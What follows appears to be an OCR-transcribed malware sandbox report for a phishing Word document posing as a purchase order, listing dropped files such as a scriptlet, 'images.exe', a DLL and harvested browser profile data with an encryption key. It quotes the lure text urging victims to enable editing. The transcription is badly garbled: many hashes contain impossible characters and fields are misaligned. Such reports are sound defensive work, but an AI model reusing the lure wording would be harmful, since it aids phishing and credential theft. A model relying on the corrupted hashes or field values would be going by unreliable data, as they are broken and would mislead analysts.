Preview:

c.0.5.M.i.c.ros.o.ft. .Office. .do.es..not work. .i.n..email .Preview...Pleas.e. .dow.n.lo.ad. the. .do.cument and. .click. .Enab.le. E.d.
iting. .wh.en. .op.ening....=..... .PackageEMB.EDW.ord.Do.cument.8....=...\a Word.D.o.cumen.t.8. " %TMP.%\\ab.d.tf.
.S.C.T.". .".e.w.:.{.0.0.0.0.0.0.0.0.-.0.0.0.0.-.0.0.0.0.-.0.0.0.0.-.0.0.0.0.0.0.0.0.0.0.0.0.}."

.0J..QJ.MN..al.....j....CJ..0J..QJ..U..NJ..ald.. j.N.d...CJ..0J..QJ..U..NJ..a]....h.CK.5..CJ..0J..QJ..N..al....h.CK.CJ..0J..QJ..N]..al.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CEE3E709-76F5-433D-BD56-9523C4C9DC31}.tmp
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit):  1.3573187972516119

Encrypted: false

SSDEEP: S:liiiiiiiiif3l/HInl/bl//blIBl/PvwwwvwwvwFl /I AgsalHIBIIdHzIb3: iiiiiiiiifdLIoZQc8++IsJeIMzK/

MD5: CD4DCADB7EAF8EBC3C0D123D947A31DC

SHAL: 37AFAD9AS9B5EF6715E976B43C141DA08A1758A5

SHA-256: 0AA54F5023AB6361CC2ACD4C28F082149BA87BDC042BA7374CD02AFCAAQ1B5F1

SHA-512: 30B40C28DCDEDO2ESFFCE1BF40777B76D904C1EC1D2D5DFD3E18BB3B783E6CD8B6AD76D9733ACF32E2FD01140AF54FF134FBE10F5615407E8B078BACO93ES
CB

Malicious: false

Reputation: unknown

Preview:
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C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E195593A-72A2-4470-89E8-B7D87A58E0E0}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MDS5: 5D4D94EE7E06BBBOAF9584119797B23A

SHA1L: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AEB84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: unknown

Preview:

C:\Users\luser\AppData\Local\Temp\OICE_9306262C-FECE-4A9E-949D-FCC308D5F5A8.0\FLD93F.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: 370 sysV pure executable

Category: dropped

Size (bytes): 262160

Entropy (8bit):  0.0018414541227182795

Encrypted: false

SSDEEP: 3:8aB/IYv2HDbIII5I/IHA/IXF4/:zBav2 7K/

MD5: 36148DAECIOFF9C3487586B72447DAC7B

SHA1L: FEE4FB27C45CE43BDB41BA190FDC11704EC3EA54

SHA-256: E3AC1EOA5DD46E9D605470CBB3C427582A180024754595370A1BCA98031BA426

SHA-512: E41BFECCD86CES8DCCDBCAF3B4068A7D328D91AAB035468201169817660EB539816FA4ADIBB5E60D828C421755D01680B8ADOBAOEGC395973AFFDBDAAEASD!
1FD

Malicious: false

Reputation: unknown

Preview:

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data
Category: dropped
Size (bytes): 20480
Entropy (8bit):  5.821101833795217
Encrypted: false
SSDEEP: 384:3ymxalgzzacasapa2hoygn1VYdNI6UnRJIbtgEEE60EaE3/nh:3ymxaPzacasapa2vgnrYdNI6Un7ZFPWhb
MD5: EAF98295C742E17B01760B98BDB04235
SHAL: E729C9F20DCF8AC722517FCADDA4D87BEDE21F49E
SHA-256: AFAEAAF614069BBFC3977DB75BD69A32A4BA95SESAD1A8B28348E4051A16D10A6
SHA-512: E2BDF0C22670A538D38A8AD8COAAIDF59B253BDF3C49CA4724650382F490642C99134024F13AAD64B02D5EDC42B6A4759D10156ABE1E9274DC977C2270C57E:
Malicious: true
Reputation: unknown
Preview:
..<scriptleT.. >. PR

C:\Users\user\AppDatal\Local\Templabdtfhghgdghgh .ScT:Zone.ldentifier

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 27

Entropy (8bit):  3.9582291686698787

Encrypted: false

SSDEEP: 3:gAWY3W:qY3W

MD5: 833COEFD3064048FD6A71565CA115CCD
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C:\Users\luser\AppData\Local\Templabdtfhghgdghgh .ScT:Zone.ldentifier

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

OE6D2A1D4B6AFA705EA6267EEED3655FD2B39B9D
4A86B6E7D2544AFC717EAC2B60ADBEDOFOC68D49D723B2123F65C64C76579FBF

536C2BB6ED98C190CE98BE01A31BDO5SFE03D90532B5B4194CAA58671FA3ADAD65F7F828D8AC1F43A6A13DCAS81205416DA094CA4DACAEFACB8DI01FCA48CCH
B7A

false

unknown

[ZoneTransfer]..Zoneld=3..3

C:\Users\luser\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\catalog.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

data

dropped

0

0.0

false
48:1k/ICrwik/ICrwik/ICrwik/ICrwik/ICrwik/ICrwik/ICrwik/ICrwik/ICrwh:fICOIICOIICOIICOIICOIICOIICOIICK
OFBED11864C03FDEDOE70014DCF84578

453723D938A03252F705B0A104986FE4C5CA7056
70F5E49EE3091777827ED661B63842061220C899A708860986E9AA1BD87C5004
DB53E3F1D18171F1D86C1B9BBF6BBD07153FC3E561834A35834BCOCAL1EO34FEDCD83AAAE7EDF9262C4E175C3D2287B647F55282E49627EAAFS87F437142046€
false

unknown

Gj.M\3.A..5.X..&..i+.C(L.P..P.CLT..Ab......4h. .t +.Z\. i...@.3.{.gv+V.. B......].P..W.ACHL....5~..F..}......E....E..6E....{ .{yS..7." hK.Ix.2.i.2J... ..f.2._....0.
e[7TW{1.14....&.G}].N\3.A. 5.X. & .i+.C(LP.P.CLT..Ab.....4h t+.2\. i...@3.{.gv+V..B....].P..\W.ACHL....S~.F.. }...E......E..6E....{.{yS..7." hK.L.x.2..i.2J...
2 0e[7wW{1.1.4....&Gj.N\3.A..5X..&..i+.C(LP.P.CLT..Ab......4h. t+.Z\. i...@.3.{.grv+V..B......].P..W.4ChL
hKIX2.0.20... o f2. 0. e[7TW(L. 4. .. &.GJ.h\.3.A.. 5.X..&...i+.C(1P..P.CLT.. Ab......4h. t+.Z\. i...@.3..{..g"v+V..B......].P..W.4C}L....
{{YS.. 7. hKIX2.0.2]... ..f.2._...0. e[TW{1.14.... & Gj.M.3.A..5X..&..i+.C(L.P.P.CLT..Ab......4h..t+.2\. i.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

International EBCDIC text, with no line terminators, with overstriking

dropped

0

0.0

false

3:fw8:L

D3A8D9A8FD8375694BCBA2EC51445C4C
A03346DBB4462D95874BDDCAD43170DCEEEF6D43
70665DB3A770558DCI9DABFA25D640E9FF4692BA75CCF7975C726786ACA624582

EE6A992578524486D72CBCBF2240C3A0FE32A1C4AD72736B7834E22741A223BBF233BAECFF2A0460A6D60E9ED7023F25D62650257E2121ECC4AF34D0C7ADAG:
8

true

unknown

..0.UH

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\settings.bak

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

data

dropped

0

0.0

false

3:9bzY60RDIVYk:RZWDI3

ACD3FB4310417DC77FE06F15BOE353E6
80E7002E655EB5765FDEB21114295CB96ADID5SEB
DC3AE604991C9BB8FF8BC4502AE3D0DB8A3317512C0F432490B103B89C1A4368

DA46A917DB6276CD4528CFE4AD113292D873CA2EBES3414730F442B83502E5FAF3D1AES7BFA295ADF01E3B44FDBCE239E21A318BFB2CCD1F4753846CB21F6F
97

false

unknown

9iH..}.4.1.3".C;"a

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\settings.bin
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C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\settings.bin

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

data

dropped

0

0.0

false

3:9bzY60RDIVYVsRLY60RDT6P2bfVn1:RzZWDIfRWDT621
BBOF9B9992809E733EFFF8BOE5S62CFD6
FOBAB3CF73A04F5A689E6AFC764FEE9276992742
C48F04FE7525AA3A3F9540889883F649726233DE021724823720A59B4F37CEAC

AE4280AA460DC1C0301D458A3A443F6884A0BE37481737B2ADAFD72C33C55F09BED8SED239C91FEGF19CA137AC3CD7C9B8454C21D3F8E759687F701C8B3C7A
6

false

unknown

9iH..}Z.4.£.J".C;"a9iH...}Z.4. f~a......~~.....3.U.

C:\Users\luser\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\storage.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

data

dropped

0

0.0

false
6144:0X44S90aTiB66x3P16nGV4bfD6WXPI1Z9iBj0UeprGm2d7Tm:LkjY GsfGUc9iB4UeprKdnm
7E8F4A764B981D5B82D1CC49D341E9C6
D9F0685A028FB219E1A6286AEFB7D6FCFC778B85
0BD3AAC12623520C4E2031C8B96B4A154702F36F97F643158E91E987D317B480
880E46504FCFB4B15B86B9D8087BA8BBE6C4950E433616EBB637799F42B081ABF6F07508943ECB1F786B2A89E751F5AE62D750BDCFFDDF535D600CF66EC44E92

false

unknown

pT..LLW..GJ..a.).@.i..wpK.s0@...5.="..Q.0y.=e@9.B...F..09u"3.. 0t..RDn_4d....E...i.....~...[.fX_..Xf.p"....>a.$..e.6:7d.(a A..=)*...{B.[..y%.*.i.Q.<.xt.X.H.. .H
F7g..123.{n...Ly;i.5-...05iccceunee J.5b7}. fK.HV..,..0.... ..n.W6PML.....v."v.....#. Xa...[.cC..il{>5n._+ed. ). [..[.Dt.GVp.zz....(..0....b..+J{..hSIG M. .v&.

jm#u.1.MgLE.U.T....6.2>..6 LKw"0..E.."K%{....2.7...<...,..Jt......[.Z.u...3X8.Ql..|_.&.N..q.e.2...6.R.~..9.Bq..A.v.6.G. #y....0...2)G..w..E. K(....+..0.......... Vg.2xC.....
.O..jc....z.~P..q./

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent NEW PO1100372954 -.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Aug 26 14:08:15 2020,
atime=Mon Aug 2 16:59:36 2021, length=234750, window=hide

dropped

2108

4.563563676778922

false

48:8it+/XTOjFx1aCzwfY 2it+/XTOjFx1aCZwfc:8it+/XojFHDwfY 2it+/XojFHDwfc
63DA06EC5F4B14A27137DD323B31070F
CC221AF186196FB5381FCFEB99E975DAC5666D43
9E42FBE9B5CFF3DD2749ABC139522936D6BCB28ES5FB70D919750E51F80768895

D8DB266A0FA3B50F475FESFA5463751147B3F74BD2BA91CEE3CDEEB23B434CE8BCCC8089CCB4718A3C57CD433D73D329B104CAF3B454159F3BF3EDA4796BC
C96

false

unknown

i....+00.../C:\......... t.1.....QK.X..Users. ..........QK.X*.. 6....Us.ers..@.s.hell3.2.dll,.-

.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U..... ...Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._=... D.esskt.o.p..@.s.hell3.2..dll,.-.2.
1.7.6.9....v.2.....Ss. NEWPO1~1.DOC..Z....... Q.y.Q.y*..8....... ...N.EWW. .P.0.1.1.0.0.3.7.2.9.5.4. .-...d.0.C...ooervrirnrrn8u [

....... \\899552\Users.user\Desktop\NEW P0O1100372954 -.doc. AL\ Deeskto.pAN.EW. .P.0.1.1.0.0.3.7.2.9.5.4. .-...d.o.C.
S.XF.L8C...&m.m............-..5.-.1.-5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............ .......X.......899552.......... .

C:\Users\user\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ASCII text, with CRLF line terminators

dropped

92

4.571374526629979

false
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recentlindex.dat

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

3:M1LSUPkcQjOru4oziUPkcQjOru4omX1LSUPkcQjOrudov:MVnP66ru443P66ru4DnP66rudy

0865393879B83EFCO1FD7C549E71A9A5

899AE6A283BIBIFOF62475C18E135B09397ED727

967255627D9D9D210D5279B8DAFF2975BE25A21A3E7ELE756896AEEF41B4751C
E8FA619372F9FDCF50114BF8C42C56163ECA7E325BFF8C72F9E1685D79E70FEF45A7270420576110EB1C382D70A2B1EB8F44A788451A852B0OF5BCBD5F7D628C
false

unknown

[doc]..NEW PO1100372954 -.LNK=0..NEW P0O1100372954 -.LNK=0..[doc]..NEW P01100372954 -.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.4311600611816426

false

3:vrJlaCkWitVyyKbE/w+FUYIIn:vdsCKWH/AES51Il
B1035D12CDF3CD7AA18A33C0A1D17AAE
CE8244E4A5E407568BA15A7C6DC2F6428306EBBS
CD49B04F30968B85CBAFD1F9F836CA1950BBEC2BE717B3D1430DBE5S7615BF425

E34F595696EB91153F1B8EE51D12F48ED8B8969453FA76B97DB94C509F6BDF089466DEES51A51727AD5A8B546F6C96FF679ADA98A451EEACA3CBIC08CO1F388E
6

false

unknown

LUSBI ettt Alb.us............. Prieree e P Zooioiiienn X...

C:\Users\luser\AppData\Roaming\Microsoft\UProoflExcludeDictionaryEN0409.lex

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Little-endian UTF-16 Unicode text, with no line terminators

dropped

2

1.0

false

3:Qn:Qn

F3B25701FE362EC84616A93A45CE9998
D62636D8CAEC13F04E28442A0A6FA1IAFEB024BBB
B3D510EF04275CABE698E5B3CBBOECE3949EF9252F0CDC839E9EE347409A2209

98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9CAB24FF849510F4B6FFA9FD608COA3DE9AC3CIFD2190FOEFAF715309061490F9755A9BFDF1C54CAOQD!
4

false

unknown

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\490281 AC8GSCNCH37UYE.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5836145728363404

false
96:chQCAMgoqvsqvJCwo+z8hQCAMqoqvsEHyqvICworQz2QYVHtyByCHFIUVUIu:cGho+z8G5HnorQz2rurH9lu
BF6DEESBCCBOB3116AFC11A073DF62BB

8E65F7FF14D5E4407C32BA959CE795D072AD826E
3D61A8493060F9D327B5C392075EB14240C046DC6DIB8ICE370FF18F017060F4

30F1CE1F899D17E99BDCE356D78C138BA6C8A7CDCDB6EG4723A57B7E8DBBFFO9E666BAB8DODIF6F912B108F79EF27AB5BES907806A90960EFES5204B933486E
14

false

unknown

................................... FLoooiviioee B 08D X0 {D.. XQ{D . Ko PLOL 1 4000 /CiN ML {JN PROGRA~3.D. {0V K PLTLOL
X.1....~J|v. MICROS~1.@........~J|V*...Looe M.i.cr.o.s.oft....R.1...wJ;.. Windows.<.........wJ;.*........ LWind.ows.......1..((

(* ..@....Start. .Menu..@.s.hell3.2.dll,.-21.7.8.6. ..Q.y..Programs..f Q.y*. P.ro.grams..
@.s.h.ell3.2..d.ll,.-21.7.8.2.....1..xJu=.ACCESS~1..l....wJr.*...... ......B...Accessories..@.shell32.dll,.-2176.1..j1. .WINDOW~1..R..
[T S W.i.nd.ow.s. .P.owerS.he.ll..v.2k..., WINDOW~2.LNK..Z........,... .=, W.i.n.d.o.w.s.
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5836145728363404

Encrypted: false

SSDEEP: 96:chQCAM(goqvsqvJCwo+z8hQCAMqoqvsEHyqvICworQz2QYVHtyByCHFIUVUIu:cGho+z8G5HnorQz2rurH9lu

MDS5: BF6DEE5BCCBOB3116AFC11A073DF62BB

SHA1L: 8E65F7FF14D5E4407C32BA959CE795D072AD826E

SHA-256: 3D61A8493060F9D327B5C392075EB14240C046DC6DIBBICE370FF18F017060F4

SHA-512: 30F1CE1F899D17E99BDCE356D78C138BA6C8A7CDCDB6E64723A57B7E8DBBFFO9E666BAB8DODIF6FI12B108F79EF27AB5BES907806A90960EFES204B933486E
14

Malicious: false

Reputation: unknown

Preview:

.................. P.O. .i....#00.../C\..covvee M1 N PROGRAS3..D.. {3V K
M..cros.oft. .. .R1..wJ;.. Windows.<.......wJ;

2.1.7.8.6.....~.1.....Q.y..Programs..f. .

er.* B....A.c.ce.s.s.ories..@.s.hell3.2.dll,-21.76.1.
, .\WINDOW~2.LNK..Z........, W.i.n.d.o.w.s.

..WINDOW~1 R..

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms. (copy)

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5836145728363404

Encrypted: false

SSDEEP: 96:chQCAMqoqgvsqvJCwo+z8hQCAMaogvsEHyqvICworQz2QYVHtyByCHFIUVUIu:cGho+z8G5HnorQz2rurH9lu

MD5: BF6DEE5BCCBOB3116AFC11A073DF62BB

SHA1L: 8E65F7FF14D5E4407C32BA959CE795D072AD826E

SHA-256: 3D61A8493060F9D327B5C392075EB14240C046DC6D9BBICE370FF18F017060F4

SHA-512: 30F1CE1F899D17E99BDCE356D78C138BA6C8A7CDCDB6E64723A57B7E8DBBFF09E666BAB8DODIF6F912B108F79EF27AB5BES907806A90960EFES204B933486E
14

Malicious: false

Reputation: unknown

Preview:

.................. P.O. Q... 400.../C\.cove M1 {3\ PROGRAS3.D... {3V ke
M..cros.oft.. .R.1..wJ. Windows.<......wJ;
2.1.7A8.6“...~.1...“.Q.yA.ProgramsA.f. .
er.* B....Ac.c.es.s.ories..@.s.hell3.2.dll,.-2176.1.

, WINDOW~2.LNK..Z.........,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LOCAUF6YJEF7K6W8Y37G.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit):  3.5836145728363404

Encrypted: false

SSDEEP: 96:chQCAMqgoqvsqvJCwo+z8hQCAMgoqvsEHyqvICworQz2QYVHtyByCHFIUVUIu:cGho+z8G5HnorQz2rurH9lu

MDS5: BF6DEE5BCCBOB3116AFC11A073DF62BB

SHAL: 8E65F7FF14D5E4407C32BA959CE795D072AD826E

SHA-256: 3D61A8493060F9D327B5C392075EB14240C046DC6DIB8ICE370FF18F017060F4

SHA-512: 30F1CE1F899D17E99BDCE356D78C138BA6C8A7CDCDB6E64723A57B7E8DBBFFO9E666BAB8DODIF6F912B108F79EF27AB5BES907806A90960EFE5S204B933486E
14

Malicious: false

Reputation: unknown

Preview:

~wl;
Qy Programs..f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RA5AG9965KYDVANTRMOT.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data
Category: dropped
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RA5AG9965KYDVANTRMOT.temp

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

8016

3.5836145728363404

false
96:chQCAMqoqvsqvJCwo+z8hQCAMqoqvsEHyqvICworQz2QYVHtyByCHFIUVUIu:cGho+z8G5HnorQz2rurH9lu
BF6DEE5BCCBOB3116AFC11A073DF62BB

8E65F7FF14D5E4407C32BA959CE795D072AD826E
3D61A8493060F9D327B5C392075EB14240C046DC6DIBBICE370FF18F017060F4

30F1CE1F899D17E99BDCE356D78C138BA6C8A7CDCDB6E64723A57B7E8DBBFFO9E666BAB8DODOF6F912B108F79EF27AB5SBES907806A90960EFES204B933486E
14

false

unknown

................................... FLoooiiioeeFL 8D
gram.D.ata...X1...~Jv. MICROS~1..@
.STARTM~1.j...... R (]
@.s.h.ell3.2..dll,.-217.8.2.....1...xJu=., ACCESS~1..l.......wJr.*.................B....A.c.c.e.s.s.or.ies..@.s.h.ell3.2..d.ll,.-217.6.1.
..... L Weiindioawes. (Poower.Soheelllve2 ke, (WINDOW~2.LNKLLZ. L F = WanLdouwes.

.................. P.O. .i....#00.../C\.....oveeee N1 {0\ PROGRAS3..D..... {3 K
M.icros.oft. R1..wl. Windows.<.....wWJ;*. ... W.i.n.d.o.w.s.. :
<...P.ro.grams..

L".WINDOW~1..R..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\ProgramData\images.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

1378816

7.548476087877472

false

24576:261BQ76D0Iifx8Dgyfx8Dgz06 ThTZpq72pMNaDuDHQUI3uwDZzGL:0Q76f58Dgy58Dgz06n1pfWNdlJZa
8FA8F52DFC55D341300EFF8E4C44BA33

4FBDB8C39BBC48B159E1F795A2222D51077FDBE9
2C7DA7FF43C90AE620FD5135C2ED34C7E644A9A1098BFB69F1DC6BBAB6410C9A

A29B2B8FCDE4EF5917E6AAD29C547D2FCEF3E452B3ED502788BD5BF7CB2E107C46A12783EBBESEB4AA896C56DFD3FD37C994B67EBS5C8F5CIC32FBA75FEAS
205

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 20%

unknown

.L.IThis program cannot be run in DOS mode....$....... PE.L..1.a..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

731648

7.501590274865465

false
12288:hdInZDHQg/eZ0EaMEH+a2C9mIzUewRTCABR4x9kB3AHWMV2h1mFbiwN2:PwO5H+NCI9mMIzUewRTCOUISAPmMY
O0CFE251E0B61BBC87656F52DEFADACS3

D7126889DC5FFCF23C90FFA19A359060658A0388
DB531D6E969F16A9318224E16A18F3314FA75D0EAADIOFC9A805F10D098D67C9

85E15BF86BC62BIAES52FAC7118A9F54631BA84FDFG60ACB803348813B67E0B4349F82FBF312474879C3DC209E06EC21E8BFACEDF91CA2D3B490270F655BF980
D

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 28%

unknown

C:\Users\user\AppData\Roaming\zbEllaj.tmp

Process:
File Type:
Category:

C:\ProgramData\images.exe
SQLite 3.x database, last written using SQLite version 3032001
dropped
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C:\Users\user\AppData\Roaming\zbEllaj.tmp

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

40960

0.7798653713156546

false

48:L.3k+YZzHF/8LKBWUIKIWIkMUEIIGc7xBM6vu3f+fmyJghU:LSe7mlcwilGe7Ha3f+u

CD5ACB5FAA79EEB4CDB481C6939EEC15

527F3091889C553B87B6BC0180E903E2931CCCFE

D86AEO9ACB01C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
A79C4D7F592A9E8CC983878B02COB8IDECB77D71F9451COASAE3F1E898C42081693C350E0BEOBA52342D51D6A3E198EOES7340AC5E268921623B088113A70D5
false

unknown

SQLite format 3...... @ e LTSS P TR SPRSPRRRSRRON

C:\Users\luser\AppData\Roaming\zzoj.CG.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\ProgramData\images.exe

ASCII text, with very long lines, with no line terminators

dropped

35549

6.06431092799383

false
768:2F3tAPOWdZWTHzO+EMvDBdIu++gtXQQJokduglLQ671U419zrLWJ:k308Ni+RvDD5/gNQmMduDKRIFrLWJ
4E06FDEE66DA477D15AAAFD104802FF3

2814763828D036134EEF93F28D6C499913E903AA
835ADDCEB10330CA6D1FE5AA598CB758B639173086517BEBC6BOAAC7CBFDAALD
42521F28CAD2FEA206592962A999202FA65E4A398EF29B9A759DAFFADG0CAISEN27ABB52E523C799E7C131A15B17CDFC46FEC102C48EF7569D381C6E47680F3
false

unknown

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"84.0.4147.89"},"easy_unlock":{"device_id":"f691bb0f-1b4f-4339-aef5-321b65f13447"},"hardware_
acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.59
5529173769173e+12,"network":1.595503998e+12,"ticks":494811744.0,"uncertainty":4224807.0}},"os_crypt":{"encrypted_key":"RFBBUEKBAAAAOQlyd3wEV0
RGMegDAT8KX6WEAAADCJIQEpPL4peQLs/tCx05ts1IAAAAAAIAAAAAABBMAAAAAQAAIAAAAHMABSME8BABIEAUGBIc8b12wIpHBHOOMG5KX0s9TVSAAAAAABAA
AAAAGAAIAAAAKP70FMSZVCDUsFN1iNo5k0cdS+ul3XobvgN11pz11FbMAAAAHEQEYBv3dbmfgLRp8KYIFTYBCEdPLIINBUQSIy6PW6ieb+TQIXOtlf+joBOO
6Py0o0AAAADT82DjaNVFLY7TORYwXTGepumesXXBFeM5MLg7ZIErGegSazITBgJVemjLdeT3R2c6H7dI+IEXxtIm8SIWLUI'}, "policy":{"last_statistics_update":"132400
02771769952"},"profile":{"info_cache":{"Default":{"active_time":1595529172.199256,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_26","background_app
s"false,”

C:\Users\user\Desktop\~$W P01100372954 -.doc

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit):  2.4311600611816426

Encrypted: false

SSDEEP: 3:vrdlaCkWtVyyKbE/w+FUYIIn:vdsCKWH/AES51II

MD5: B1035D12CDF3CD7AA18A33C0A1D17AAE

SHA1L: CEB8244E4A5E407568BA15A7C6DC2F6428306EBB8S

SHA-256: CD49B04F30968B85CBAFD1FIF836CA1950BBEC2BE717B3D1430DBE5S7615BF425
SHA-512: E34F595696EB91153F1B8EE51D12F48ED8B8969453FA76B97DB94C509F6BDF089466DEES51A51727AD5A8B546F6C96FF679ADA98A451EEACA3CBIC08CO1F388E

6
Malicious: false
Reputation: unknown
Preview:

LUSET it Alb.us....... Pt P Zoiioiiiiinne X...
C:\Windows\System32\rixvmt.dll Y
Process: C:\ProgramData\images.exe
File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows
Category: dropped
Size (bytes): 37376
Entropy (8bit): 5.7181012847214445
Encrypted: false
SSDEEP: 768:2aS61r6sXJaE5121aK3knhQONknriBOdX5mkOpw:aDjDtKA0G0j50pw
MD5: E3E4492E2C871F65B5CEA8F1A14164E2
SHAL: 81D4AD81A92177C2116C5589609A9A08A5CCDOF2
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C:\Windows\System32\rfxvmt.dlIl v

SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

